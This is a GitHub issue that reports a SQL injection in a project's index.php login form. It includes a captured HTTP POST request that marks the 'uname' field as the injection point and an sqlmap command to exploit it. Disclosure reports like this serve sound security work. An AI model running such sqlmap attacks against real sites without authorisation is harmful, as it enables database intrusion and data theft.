Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a SQL injection vulnerability in index.php #15

Open
lvpsectime opened this issue Jan 14, 2022 · 0 comments
Open

There is a SQL injection vulnerability in index.php #15

lvpsectime opened this issue Jan 14, 2022 · 0 comments

Comments

@lvpsectime
Copy link

First visit http://IP:port/index.php
image

Enter any user and password,Use burp to capture packets
1

Modify the data package as follows, save as data.txt:

POST /index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://127.0.0.1/index.php
Cookie: PHPSESSID=r8l3df9nrcqh7aluf2m9lb6ah0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 40

uname=*&pwd=dddddddd&submitBtn=Log+In

execute SQLmap

sqlmap -r data.txt --batch

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant